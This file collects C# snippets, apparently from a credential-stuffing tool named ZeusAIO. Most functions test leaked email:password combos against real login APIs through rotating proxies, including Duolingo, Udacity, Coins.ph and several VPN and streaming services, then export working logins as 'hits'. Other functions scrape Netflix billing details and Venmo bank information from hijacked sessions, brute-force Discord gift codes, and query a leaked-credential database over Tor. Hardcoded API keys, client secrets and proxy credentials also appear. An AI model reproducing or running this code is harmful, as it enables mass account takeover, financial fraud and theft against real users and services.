public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "later-android%2F5.15.7.2+%281905150702%29+%28Android+OS+22%29"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = false; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); httpRequest.AddHeader("Accept", "application/json, text/plain, */*"); string post = "{\"device\":{\"build_number\":1905150702,\"name\":\"Samsung SM-G950U1\",\"os\":\"Android SDK 22\",\"time_zone\":\"Mountain Standard Time -07:00\",\"udid\":\"d6e3d010dcdd1af1\",\"version\":\"5.15.7.2\"},\"auth\":{\"email\":\"" + s[0] + "\",\"password\":\"" + s[1] + "\"}}"; string text2 = httpRequest.Post("https://app.later.com/api/tokens", post, "application/json;charset=UTF-8").ToString(); bool flag7 = text2.Contains("{\"auth_token"); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - LATER.COM] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Later.com_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "com.appsmyth.mobile.smoothieking/4.3.0 (Linux; U; Android 5.1.1; samsung/greatqltecs; en_US) LevelUpSdk/12.4.2"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = false; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); httpRequest.AddHeader("Accept", "application/json, text/plain, */*"); string post = "{\"access_token\":{\"username\":\"" + s[0] + "\",\"password\":\"" + s[1] + "\",\"api_key\":\"BBpmDK5SdS3qxRTi1Q856nMuH4q9bzhpVHyoimF8Te62fEPDxz22XL7tvoaZzRAi\",\"device_identifier\":\"caa24fdc76b51de9c2f95cac0a0c378c96634a5c06b66bd77cac2d0ea05069da\"}}"; string text2 = httpRequest.Post("https://api.thelevelup.com/v14/access_tokens", post, "application/json;charset=UTF-8").ToString(); bool flag7 = text2.Contains("access_token"); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - SMOOTHIEKING] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Smoothieking_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.errors++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "Mozilla/5.0 (Linux; Android 5.1.1; SM-N950N Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = false; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); httpRequest.AddHeader("Accept", "application/json, text/plain, */*"); string post = "{\"username\":\"" + s[0] + "\",\"password\":\"" + s[1] + "\",\"region\":\"ph\"}"; string text2 = httpRequest.Post("https://api.coins.asia/v5/jwt/login", post, "application/json;charset=UTF-8").ToString(); bool flag7 = text2.Contains("{\"token\":\"") || text2.Contains("csrftoken"); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - COINS.PH] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Coins.ph_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
private static IProxyClient GetProxy() { IProxyClient proxyClient = null; if (Settings.Settings.Current.ProxyEnabled == true && string.IsNullOrEmpty(Settings.Settings.Current.ProxyType) == false && string.IsNullOrEmpty(Settings.Settings.Current.ProxyServer) == false && Settings.Settings.Current.ProxyPort > 0) { if (Settings.Settings.Current.ProxyType.ToLower() == "socks5") { proxyClient = new Socks5ProxyClient(Settings.Settings.Current.ProxyServer, Settings.Settings.Current.ProxyPort, Settings.Settings.Current.ProxyUsername, Settings.Settings.Current.ProxyPassword); } else if (Settings.Settings.Current.ProxyType.ToLower() == "socks4") { proxyClient = new Socks4ProxyClient(Settings.Settings.Current.ProxyServer, Settings.Settings.Current.ProxyPort, Settings.Settings.Current.ProxyUsername); } else if (Settings.Settings.Current.ProxyType.ToLower() == "http") { proxyClient = new HttpProxyClient(Settings.Settings.Current.ProxyServer, Settings.Settings.Current.ProxyPort, Settings.Settings.Current.ProxyUsername, Settings.Settings.Current.ProxyPassword); } if (proxyClient != null) { //Setup timeouts proxyClient.ReceiveTimeout = (int)TimeSpan.FromSeconds(600).TotalMilliseconds; proxyClient.SendTimeout = (int)TimeSpan.FromSeconds(600).TotalMilliseconds; } } return(proxyClient); }
public Proxy(string proxy) { Address = proxy.Trim(); Http = HttpProxyClient.Parse(Address); Socks4 = Socks4ProxyClient.Parse(Address); Socks5 = Socks5ProxyClient.Parse(Address); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "okhttp/3.11.0"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = false; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); httpRequest.AddHeader("Accept", "application/json, text/plain, */*"); string post = "{\"auth_token\":\"QqqxkiSs9dxhxkem1pZU\",\"user\":{\"email_id\":\"" + s[0] + "\",\"password\":\"" + s[1] + "\",\"region\":\"IN\",\"device_data\":{\"device_name\":\"samsung\",\"device_type\":\"android\"},\"current_sign_in_ip\":\"\"}}"; string text2 = httpRequest.Post("https://prod.api.shem.apisaranyu.in/users/sign_in?auth_token=QqqxkiSs9dxhxkem1pZU®ion=IN", post, "application/json;charset=UTF-8").ToString(); bool flag7 = text2.Contains("user_id\":\"") || text2.Contains("data\":{\"email_id\":\""); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - SHEMAROO.ME] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Shemaroo.me_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.errors++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = false; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); httpRequest.AddHeader("Accept", "application/json, text/plain, */*"); string post = "grant_type=password&scope=read%20write&username="******"&password="******"&client_id=consumerWeb&client_secret=consumerWeb%40123"; string text2 = httpRequest.Post("https://ullu.app/ulluCore/oauth/token", post, "application/x-www-form-urlencoded").ToString(); bool flag7 = text2.Contains("\"access_token"); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - ULLU] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Ullu_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.errors++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
// Token: 0x0600008F RID: 143 RVA: 0x0000957C File Offset: 0x0000777C public static ProxyClient LoadProxyType() { string proxyAddress = Var.proxies.ElementAt(Var.rnd.Next(Var.proxies.Count)); ProxyClient result; switch (Var.proxyType) { case 0: result = HttpProxyClient.Parse(proxyAddress); break; case 1: result = Socks4ProxyClient.Parse(proxyAddress); break; case 2: result = Socks5ProxyClient.Parse(proxyAddress); break; case 3: result = null; break; default: result = null; break; } return(result); }
private static async Task <HttpResponseMessage> PostQueryAsync(string domain, string userName, int?port) { var socksProxy = new Socks5ProxyClient(DEFAULT_LOCAL_IP, port ?? DEFAULT_PORT); var handler = new ProxyHandler(socksProxy); var httpClient = new HttpClient(handler); var data = new FormUrlEncodedContent(new[] { new KeyValuePair <string, string>("luser", userName), new KeyValuePair <string, string>("domain", domain), new KeyValuePair <string, string>("luseropr", "1"), new KeyValuePair <string, string>("domainopr", "1"), new KeyValuePair <string, string>("submitform", "em"), }); try { Console.WriteLine("Connecting to pwndb service on tor network...\n"); var result = await httpClient.PostAsync(PWNDB_URL, data).ConfigureAwait(false); return(result); } catch (Exception e) { Console.WriteLine("Can't connect to service! restart tor service and try again"); } return(new HttpResponseMessage()); }
static System.Net.Sockets.TcpClient TcpHandler(string address, int port) { var socks = new Socks5ProxyClient("orbtl.s5.opennetwork.cc", 999, "262852885", "vmNeknLh"); var tcp = socks.CreateConnection(address, port); return(tcp); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "Duodroid/4.62.1 Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G930K Build/NRD90M)"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = false; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); httpRequest.AddHeader("Accept", "application/json, text/plain, */*"); string post = "{\"distinctId\":\"<RANDOM>\",\"identifier\":\"" + s[0] + "\",\"password\":\"" + s[1] + "\"}"; string text2 = httpRequest.Post("https://android-api.duolingo.com/2017-06-30/login?fields=id", post, "application/json;charset=UTF-8").ToString(); bool flag7 = text2.Contains("{\"id\":"); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - DUOLINGO] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Duolingo_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = false; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); httpRequest.AddHeader("Accept", "application/json, text/plain, */*"); string post = "{\"type\":\"traditional\",\"deviceId\":\"Windows NT 10.0\",\"deviceBrand\":\"PC/MAC\",\"data\":{\"email\":\"" + s[0] + "\",\"password\":\"" + s[1] + "\"}}"; string text2 = httpRequest.Post("https://us-central1-vootdev.cloudfunctions.net/usersV3/v3/login", post, "application/json;charset=UTF-8").ToString(); bool flag7 = text2.Contains("profileName"); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - VOOT] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Voot_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.errors++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) WavesCentral/11.0.58 Chrome/76.0.3809.146 Electron/6.1.8 Safari/537.36"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = false; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); httpRequest.AddHeader("Accept", "application/json, text/plain, */*"); string post = "{\"email\":\"" + s[0] + "\",\"password\":\"" + s[1] + "\"}"; string text2 = httpRequest.Post("https://user-api.udacity.com/signin", post, "application/json;charset=UTF-8").ToString(); bool flag7 = text2.Contains("{\"jwt\""); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - UDACITY] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Udacity_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.errors++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
private static bool Checkcode(string code, string proxyaddy) { try { using (var request = new HttpRequest()) { if (proxytype == ProxyType.Socks5) { request.Proxy = Socks5ProxyClient.Parse(proxyaddy); } else if (proxytype == ProxyType.Socks4) { request.Proxy = Socks4ProxyClient.Parse(proxyaddy); } else { request.Proxy = HttpProxyClient.Parse(proxyaddy); } string text = request.Get("https://discordapp.com/api/v6/entitlements/gift-codes/" + code).ToString(); if (text.Contains("\"redeemed\": false")) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("[+] Found code --> " + code); WriteCode(code); } else { } Checked_C++; } return(true); } catch (HttpException ex) { if ((int)ex.HttpStatusCode == 404) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[-] Bad code : " + code); Checked_C++; return(true); } else { //Console.WriteLine(ex.Message + " by " + proxyaddy); try { //Console.ForegroundColor = ConsoleColor.Gray; Proxies.Remove(proxyaddy); //Console.WriteLine("removed proxy " + proxyaddy); } catch (Exception x) { Console.WriteLine(x.Message); } Errors++; return(false); } } }
// The working thread. private void Run() { try { // Try to connect to the proxy. ProxyConnection = new Socks5ProxyClient(configuration.GetProxyAddress(), configuration.GetProxyPort(), "", ""); // Try to connect to the pool PoolConnection = ProxyConnection.CreateConnection(configuration.GetPoolAddress(), configuration.GetPoolPort()); // Write to the console that the pool has beenc onnected. Program.ConsoleWriteLineWithColor(ConsoleColor.Green, "Successfully connected to your pool!"); Program.ConsoleWriteLineWithColor(ConsoleColor.Green, "The new miner is ready to mine!"); } catch (Exception exception) { Program.ConsoleWriteLineWithColor(ConsoleColor.Red, "Failed to establish a connection to the pool, the miner will be disconnected."); Console.WriteLine(exception.ToString()); } // Main routine that sleeps and exchanges data to prevent high cpu usage. while (MinerConnection.Connected && PoolConnection.Connected) { // Small sleep so we don't use 100% of the cpu Thread.Sleep(10); // Exchange the data. ExchangeData(); } // See you, space cowboy. wantsToBeDisposed = true; }
public static string CreateTcpSend(string Address, string model) { int ReachPort = 50371; //ReachPort try { proxyClient = new Socks5ProxyClient("127.0.0.1", 9150); proxyClient.ProxyUserName = ""; proxyClient.ProxyPassword = ""; TCP = proxyClient.CreateConnection(Address, ReachPort); Write = new StreamWriter(TCP.GetStream()); Write.Write(model); Write.Flush(); Reader = new StreamReader(TCP.GetStream()); var ResultMessage = ""; while (Reader.Peek() > -1) { ResultMessage += Convert.ToChar(Reader.Read()).ToString(); } return(ResultMessage); } catch (Exception ex) { return("Error: " + ex); } }
/// <summary> /// Gets the standard ProxyClient related to the specific proxy type. /// </summary> /// <returns>The standard ProxyClient (not chained)</returns> private ProxyClient GetStandardClient() { ProxyClient pc; switch (Type) { case ProxyType.Http: pc = HttpProxyClient.Parse(Proxy); break; case ProxyType.Socks4: pc = Socks4ProxyClient.Parse(Proxy); break; case ProxyType.Socks4a: pc = Socks4aProxyClient.Parse(Proxy); break; case ProxyType.Socks5: pc = Socks5ProxyClient.Parse(Proxy); break; default: return(null); } pc.Username = Username; pc.Password = Password; return(pc); }
static string NetflixGetCaptures(string cookie, CookieStorage cookies) { for (int i = 0; i < 5; i++) { while (true) { try { using (HttpRequest req = new HttpRequest()) { string proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { req.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { req.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { req.Proxy = Socks5ProxyClient.Parse(proxy); } //req.AddHeader("Cookie", "flwssn="+cookie); req.Cookies = cookies; req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"); req.AddHeader("Accept-Encoding", "gzip, deflate, br"); req.AddHeader("Cache-Control", "max-age=0"); req.AddHeader("Connection", "keep-alive"); req.Referer = "https://www.netflix.com/browse"; req.AddHeader("Sec-Fetch-Dest", "document"); req.AddHeader("Sec-Fetch-Mode", "navigate"); req.AddHeader("Sec-Fetch-Site", "same-origin"); req.AddHeader("Sec-Fetch-User", "?1"); req.AddHeader("Upgrade-Insecure-Requests", "1"); req.UserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"; string strResponse = req.Get(new Uri($"https://www.netflix.com/YourAccount")).ToString(); if (strResponse.Contains("currentPlanName\"")) { string plan = Regex.Match(strResponse, "\"currentPlanName\":\"(.*?)\"").Groups[1].Value.Replace("\\u03A4\\u03C5\\u03C0\\u03B9\\u03BA\\u03CC", "Basic").Replace("B\\u00E1sico", "Basic").Replace("u57FAu672C", "Basic").Replace("Est\\u00E1ndar", "Standard").Replace("Standart", "Standard"); string country = Regex.Match(strResponse, "\"currentCountry\":\"(.*?)\"").Groups[1].Value; string isDVD = Regex.Match(strResponse, "\"isDVD\":(.*?),").Groups[1].Value; string screens = Regex.Match(strResponse, "\"maxStreams\":([0-9]*?),").Groups[1].Value; string nextBillingDate = Regex.Match(strResponse, "\"nextBillingDate\":\"(.*?)\"").Groups[1].Value.Replace("\\x2F", "/").Replace("\\x20", "/"); return($"Plan: {plan} - Screens: {screens} - Country: {country} - DVD: {isDVD} - Next Billing: {nextBillingDate}"); } break; } } catch { ZeusAIO.mainmenu.errors++; } } } return("Working - Failed Capture"); }
private static string VenmoGetCaptures(CookieStorage cookies, string secret, string guid) { while (true) { try { using (var req = new HttpRequest()) { switch (Program.ProxyType1) { case "HTTP": req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS4": req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS5": req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; } req.AddHeader("device-id", guid); req.AddHeader("Venmo-Otp-Secret", secret); req.AddHeader("Content-Type", "application/json; charset=utf-8"); req.AddHeader("Venmo-Otp", "501107"); req.UserAgent = "Venmo/8.6.0 (iPhone; iOS 14.0; Scale/3.0)"; req.Cookies = cookies; var strResponse = req.Get(new Uri("https://api.venmo.com/v1/account/two-factor/token?client_id=1")) .ToString(); if (strResponse.Contains("\", \"question_type\": \"card\"}]")) { var bankInfo = Regex .Match(strResponse, "\\[{\"value\": \"(.*?)\", \"question_type\": \"card\"}").Groups[1] .Value; return($"Bank Infomation: {bankInfo}"); } return("Free"); break; } } catch { Program.Errors++; } } return(""); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "okhttp/4.7.2"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = true; string str = "methodName=login&apikey=52f4d13c50ed520227ad198f1ccbcd58&username="******"&password="******"https://api.ibvpn.net/android/v14/", str, "application/x-www-form-urlencoded").ToString(); bool flag7 = text2.Contains("userId"); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - IBVPN] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Ibvpn_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "HolaVPN/2.12 (iPhone; iOS 12.4.7; Scale/2.00)"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = true; string str = "brand=Apowersoft&email=" + s[0] + "&language=en&password="******"https://passport.aoscdn.com/api/sessions", str, "application/x-www-form-urlencoded").ToString(); bool flag7 = text2.Contains("nickname"); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - APOWERSOFT] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Apowersoft_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "okhttp/3.11.0"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = true; string str = "{\"email\":\"" + s[0] + "\",\"password\":\"" + s[1] + "\"}"; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); string text2 = httpRequest.Post("https://api1.goosevpn.com/auth/email", str, "application/json; charset=UTF-8").ToString(); bool flag7 = text2.Contains("{\"token"); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - GOOSEVPN] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Goosevpn_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
